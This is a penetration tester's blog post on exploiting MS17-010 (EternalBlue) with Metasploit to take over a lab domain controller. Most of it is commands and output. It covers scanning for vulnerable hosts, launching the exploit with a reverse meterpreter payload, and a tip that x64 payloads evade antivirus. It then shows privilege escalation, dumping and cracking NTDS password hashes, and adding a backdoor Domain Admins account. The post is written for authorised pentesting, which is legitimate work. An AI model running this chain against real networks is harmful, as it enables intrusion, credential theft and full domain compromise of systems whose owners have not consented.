MS17-010 – The Nuke

The Start

This is my 1st blog post for 1337red, so I wanted it to be good. Now I can happily talk for ages on security, but this, writing a blog, I felt stuck, so why?

Well, I have ideas, quite a few if honest, but nothing seems worthy of a post.

So in my typical, backwards, and slightly broken style, I’m just going to open on a subject which details a process, that I said I would never use. In fact, just to prove this, there is a recording of me saying this very statement Enemies of the West – Neil Lines – Bsides London in front of a few hundred people at 2017 Bsides London.

The calm before the storm

It is now possible to simply walk in to a client’s office, plug in your own laptop, gain an IP address and using the Metasploit Framework’s (MSF) ms17_010_eternalblue exploit, target a domain controller (DC) and gain access to accounts belonging to the Domain Admins (DA) or Enterprise Admins group.

If all goes to plan (and this is a very big if), there is no requirement for any other typical pentesting tools or techniques.

Oh wait, what, how can I be saying this

I’ll be honest, I hate this idea, I love tools, I love the chase of the DA, this is not something I like to rush. I like to earn it, but we can no longer bury our heads in the sand and I can no longer ignore MS17-010.

The back story, let’s be honest it’s no longer interesting. NSA had toys, Shadow Brokers found / stole / hacked the toys, then released the toys, and for a few days the world nearly stopped.

WANNACRY used the ETERNALBLUE exploit
The fallout of WANNACRY massively affected the NHS

Following this the MS17_010_eternalblue exploit was added to msf. Now anyone can use it (you could even teach your Nan to do this), but without a little respect, or understanding, you will most likely reboot your target. And let’s be honest everyone loves the pentester who bounces a DC, right?

So if you want to use a nuke, and potentially survive, this is the guide on how you could do it.

The Domain Controller

So what is a Domain Controller? Now I’m no MCSE, but what I can tell you is the DC is used to centrally manage and administrator (via active directory services) all domain joined machines in one central place. Think of it as the most important server in a windows environment. Typically, people have multiple DCs and these multiple servers replicate the contained data, this offers resilience and load balancing.

So how do you hunt out the DC

The simplest way to identify a potential DC is via the windows ipconfig / all command from your own laptop. Assuming you have gained an IP address via DHCP, you will have also been assigned an IP address for the local DNS server. The DNS server is typically configured on the same server as the DC.

Find the DNS service find the DC

I’m not going to get into the hows and whys of why is the DNS service typically installed on the DC in this post. To summarize, DNS is offered as a service during active directory creation. Download a trial copy of Windows server, install, start CMD and type DCPROMO and follow the prompts.

In my home lab, my DNS Server IP address is 192.168.56.200 and like most environments this DNS service sits on a DC. You can see an extract of the result of me running ipconfig / all on my lab machine below.

DNS Servers . . . . . . . . . . . 192.168.56.200

When I’m using Kali Linux, I tend to use Nmap to help me enumerate any potential DCs via port scanning techniques. To do this, I look for any devices that offer DNS as a service.

Domain Name System (DNS) uses TCP/UDP port 53. To enumerate all internal devices that have port TCP/53 enabled run the following command.

root@kali:~ # nmap -sS -v --open -p 53 192.168.56.0/24
Starting Nmap 7.01 ( https://nmap.org )
Discovered open port 53/tcp on 192.168.56.200

Below shows the full results of a typical Nmap scan of the suspected DC. The inclusion of the open ldap, kpasswd5, http-rpc-epmap, ldapssl and globalcatLDAP ports, are also typically connected to a DC server.

Nmap scan report for 192.168.56.200
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
49153/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown

Once you have an IP list of all devices that support DNS you need to verify the operating system (OS) versions for each one.

As we are hunting for a DC we are only interested in windows based machines

To do this quickly, you can use MSF or Nmap. The following quick overview shows operating system enumeration using both of these tools.

MSF

root@kali:~ # msfconsole 
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set rhosts 192.168.56.0/24
msf auxiliary(smb_version) > run
[*] 192.168.56.200:445 - 192.168.56.200:445 is running Windows 2008 R2 Standard SP1 (build:7601) (name:WIN-0N6N9AODEPK) (domain:SERVER1)

Nmap

root@kali:~ # nmap -sC -sV -v --open -p 445 192.168.56.200
Starting Nmap 7.01 
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds (primary domain: SERVER1)
Host script results:
| nbstat: NetBIOS name: WIN-0N6N9AODEPK, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:16:75:0d (Oracle VirtualBox virtual NIC)
| Names:
| WIN-0N6N9AODEPK<00> Flags: <unique><active>
| SERVER1<00> Flags: <group><active>
| SERVER1<1c> Flags: <group><active>
| WIN-0N6N9AODEPK<20> Flags: <unique><active>
|_ SERVER1<1b> Flags: <unique><active>
| smb-os-discovery: 
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: WIN-0N6N9AODEPK
| NetBIOS computer name: WIN-0N6N9AODEPK
| Domain name: server1.hacklab.local
| Forest name: server1.hacklab.local
| FQDN: WIN-0N6N9AODEPK.server1.hacklab.local

You can also use the -O (Enable OS detection) switch, the results of using this can be seen directly below.

Running: Microsoft Windows 2008|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Windows Server 2008 R2, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008

Alternatively, you can use -A to also enable OS detection, again the results of using this switch can be seen directly below.

root@kali:~ # nmap -A -v --open -p- 192.168.56.200
Starting Nmap 7.01
Running: Microsoft Windows 2008|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Windows Server 2008 R2, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008

Personally I preference MSF smb_version because it’s quick to use and the results are simple to view

Once you have your list of potential targets, it’s time to narrow this list down to only include those that are missing the ms17_010 patch. To do this, you can use MSF smb_ms17_010 scanner.

Directly below details how to use the scanner.

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.56.0/24
msf auxiliary(smb_ms17_010) > run
[-] 192.168.56.1:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] Scanned 26 of 256 hosts (10% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[+] 192.168.56.102:445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Enterprise 7601 Service Pack 1)
[+] 192.168.56.200:445 - Host is likely VULNERABLE to MS17-010! (Windows Server 2008 R2 Standard 7601 Service Pack 1)

From the above results you can see two potential hosts (Windows 7 Enterprise and Windows Server 2008 R2) which are potentially vulnerable to MS17-010.

And this is where you can easily start to go wrong

ms17_010_eternalblue is a 64bit exploit, and as such any 32bit machine you target with it, will very likely result in a crash, resulting in a system reboot.

Below details an example of this exploit crashing a 32bit copy of Windows 7 Enterprise.

Windows 7 32BIT Virtual Machine before MS17-010
MSF starting to run MS17-010 exploit
Impact of running MS17-010 exploit against 32BIT machine

Directly below you can see the response from the MSF console during running of the exploit.

[+] 192.168.56.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.56.102:445 - Sending egg to corrupted connection.
[*] 192.168.56.102:445 - Triggering free of corrupted buffer.
[-] 192.168.56.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.56.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.56.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.56.102:445 - Connecting to target for exploitation.
[-] 192.168.56.102:445 - Rex::ConnectionTimeout: The connection timed out (192.168.56.102:445).

If you have seen the above failed response before in MSF, you have most likely caused the target machine to reboot.

Windows 7 32bit

Windows 7 was released offering users a 32bit and 64bit version, the 32 bit was the most commonly installed, and as such, I personally would not target a windows 7 machine. You can see from the above enumeration, that it’s not clear if a machine is a 32bit or 64bit version, but server 2008 R2 was only released as a 64bit version OS.

So when running eternalblue against a server 2008 R2 target the associated risks, fall more in line with running any other exploit.

The following details the results of targeting the DC in my home lab.

Using Metasploit

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.56.200
msf exploit(ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.56.101:4444 
[*] 192.168.56.200:445 - Connecting to target for exploitation.
[+] 192.168.56.200:445 - Connection established for exploitation.
[*] 192.168.56.200:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.200:445 - Sending all but last fragment of exploit packet
[*] 192.168.56.200:445 - Starting non-paged pool grooming
[+] 192.168.56.200:445 - Sending SMBv2 buffers
[+] 192.168.56.200:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.56.200:445 - Sending final SMBv2 buffers.
[*] 192.168.56.200:445 - Sending last fragment of exploit packet!
[*] 192.168.56.200:445 - Receiving response from exploit packet
[+] 192.168.56.200:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.56.200:445 - Sending egg to corrupted connection.
[*] 192.168.56.200:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.200:57690)
[+] 192.168.56.200:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.200:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.200:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

As you can see it completes successfully against the server 2008 R2 and it results in CMD access to the device.

Where is the meterpreter?

If you look at the above configuration, no payload was configured, resulting in the default payload been used. Thats not meterpreter, so how do you get a meterpreter shell?

A nice trick were applicable is to opt for a x64 meterpreter reverse_tcp payload, as 64 bit processes tend to bypass AV ;0)

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set rhost 192.168.56.200
msf exploit(ms17_010_eternalblue) > set lhost 192.168.56.101
msf exploit(ms17_010_eternalblue) > exploit -j
[*] Exploit running as background job.
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.200:57705)
[+] 192.168.56.200:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.200:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.200:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Then to interact with the session run the following command.

msf exploit(ms17_010_eternalblue) > sessions -i 1
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >

At this point it’s a good time to migrate to a process which will be more stable, to do this type the ps command. This will show you all the running processes. winlogin is a good option because as you can see below it is 64 bit process, it runs as system and migrating into the winlogin process will not cause any impact on any presently authenticated users.

meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 
4 0 System x64 0 
228 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
296 288 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
348 340 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
384 340 winlogon.exe x64 1 NT AUTHORITY\SYSTEM

To migrate into the winlogon.exe process simply type the correlating PID number as can be seen directly below.

meterpreter > migrate 384
[*] Migrating from 1196 to 384...
[*] Migration completed successfully.

So how do you verify you’re on a DC? The windows command systeminfo will reveal what the servers function is under the OS Configuration option, see directly below.

meterpreter > shell
Process 2112 created.
Channel 7 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>systeminfo 
systeminfo
Host Name: WIN-0N6N9AODEPK
OS Name: Microsoft Windows Server 2008 R2 Standard 
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User

Or you can use the meterpreter enum_domain_tokens post script which also reveals if you’re on a DC or not, see below.

meterpreter > run post/windows/gather/enum_domain_tokens
[*] Running module against WIN-0N6N9AODEPK
[+] This host is a Domain Controller!
[*] Checking for Domain group and user tokens

So we’re on a DC and at this point you may want to grab all the users password hashes. You could just run hashdump which you can see the result of directly below.

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test2:1104:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
test3:1105:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
test1:1107:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

I won’t lie to you, hashdump is fine on a standard workstation, server, or laptop, but with a DC I have had experiences were it has caused the DC to reboot.

So a neat trick is to use the domain_hashdump post script, which is a lot safer to use.

To run the domain_hashdump script you need to background your meterpreter session, load domain_hashdump, target your chosen session and run.

meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms17_010_eternalblue) > use post/windows/gather/credentials/domain_hashdump
msf post(domain_hashdump) > set session 1
msf post(domain_hashdump) > run

And the results, see below.

[*] Volume Shadow Copy service not running. Starting it now...
[+] Volume Shadow Copy started successfully.
[*] Software Shadow Copy service not running. Starting it now...
[+] Software Shadow Copy started successfully.
[*] NTDS database copied to C:\Windows\Temp\YrKkeQL\Active Directory\ntds.dit
[*] Repairing NTDS database after copy...
[*] 
Initiating REPAIR mode...
 Database: C:\Windows\Temp\YrKkeQL\Active Directory\ntds.dit
 Temp. Database: TEMPREPAIR2708.EDB
Checking database integrity.
Scanning Status (% complete)
0 10 20 30 40 50 60 70 80 90 100
 |----|----|----|----|----|----|----|----|----|----|
 ...................................................
Integrity check successful.
Note:
 It is recommended that you immediately perform a full backup
 of this database. If you restore a backup made before the
 repair, the database will be rolled back to the state
 it was in at the time of that backup.
Operation completed successfully in 2.328 seconds.
[+] Administrator (Built-in account for administering the computer/domain)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:FC525C9683E8FE067095BA2DDC971889
Password Expires: 01 January 1601
Last Password Change: 19:11:24 16 October 1428
Last Logon: 09:49:03 16 October 1428
Logon Count: 10
Hash History:
[+] Guest (Built-in account for guest access to the computer/domain)
 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
 Password Expires: Never
 Last Password Change: 00:00:00 01 January 1601
 Last Logon: 00:00:00 01 January 1601
 Logon Count: 0
 - Account Disabled
- Password Never Expires
- No Password Required
Hash History:
[+] test2 ()
test2:1104:aad3b435b51404eeaad3b435b51404ee:FC525C9683E8FE067095BA2DDC971889
Password Expires: r
Last Password Change: 09:52:30 16 October 1428
Last Logon: 18:02:38 16 October 1428
Logon Count: 3
Hash History:
test2:1104:4DA9F23FD14E8837832E7CE3B4152F84:FC525C9683E8FE067095BA2DDC971889
[+] test3 ()
test3:1105:aad3b435b51404eeaad3b435b51404ee:FC525C9683E8FE067095BA2DDC971889
Password Expires: r
Last Password Change: 19:56:05 16 October 1428
Last Logon: 00:00:00 01 January 1601
Logon Count: 0
Hash History:
test3:1105:670EC36D49F216F120A2B89437772C8A:FC525C9683E8FE067095BA2DDC971889
[+] test1 ()
test1:1107:aad3b435b51404eeaad3b435b51404ee:FC525C9683E8FE067095BA2DDC971889
Password Expires: r
Last Password Change: 18:03:13 16 October 1428
Last Logon: 16 October 1428
Logon Count: 3
Hash History:
test1:1107:7E1D6C505FC3373905751CB0F0017096:FC525C9683E8FE067095BA2DDC971889

Collate all of the hashes then in Kali Linux, either using gedit or nano (don’t mention vim to me) and paste the hashes in.

root@kali:~# nano /root/Desktop/Demo1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:FC525C9683E8FE067095BA2DDC971889
test2:1104:4DA9F23FD14E8837832E7CE3B4152F84:FC525C9683E8FE067095BA2DDC971889
test3:1105:670EC36D49F216F120A2B89437772C8A:FC525C9683E8FE067095BA2DDC971889
test1:1107:7E1D6C505FC3373905751CB0F0017096:FC525C9683E8FE067095BA2DDC971889

You can try your luck by simply running the hashes through John’s pot file see below.

root@kali:~/Desktop# john --format=NT Demo1

Or you can use a word list such as Rocktastic, below I’m using a custom dictionary.

root@kali:~/Desktop# john --w=wordlist --format=NT Demo1
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])

No password hashes left to crack (see FAQ)

I have cracked my lab DC hashes over and over, as such they are in the john pot file and it will no longer reveal the password unless you specify it to do so, to specify that it does reveal previously reversed passwords use the –show switch.

root@kali:~/Desktop# john --show --format=NT Demo1
Administrator:Passw0rd!:500:aad3b435b51404eeaad3b435b51404ee:FC525C9683E8FE067095BA2DDC971889
test2:Passw0rd!:1104:4DA9F23FD14E8837832E7CE3B4152F84:FC525C9683E8FE067095BA2DDC971889
test3:Passw0rd!:1105:670EC36D49F216F120A2B89437772C8A:FC525C9683E8FE067095BA2DDC971889
test1:Passw0rd!:1107:7E1D6C505FC3373905751CB0F0017096:FC525C9683E8FE067095BA2DDC971889
4 password hashes cracked, 0 left

And finally, you’re on a DC so you can add an account, and assign it to the domain administrative group if you need to?

C:\Windows\system32>net user myexploit weak@passYo /ADD /DOMAIN
The command completed successfully.
C:\Windows\system32>net group "Domain Admins" myexploit /add
The command completed successfully.
Open another tab and start rdesktop
root@kali:~# rdesktop 192.168.56.200
RDP to the DC using the added creds

Below you can see the created myexploit account belongs to the domain administrators group.

Access to the DC and AD

This is the end

Where a DC is built on server 2008 R2 and it has not been patched with MS17-010, yes, you could most likely simply run ms17_010_eternalblue and get DA, but where is the fun in that?

Secondly, it is not a good result for a client, who will want to know that the whole domain has been fully reviewed, all that said and done, I wouldn’t rule out using ms17_010_eternalblue, but would only consider it after all other options have been fully tested.

I hope you enjoyed reading.

@myexploit2600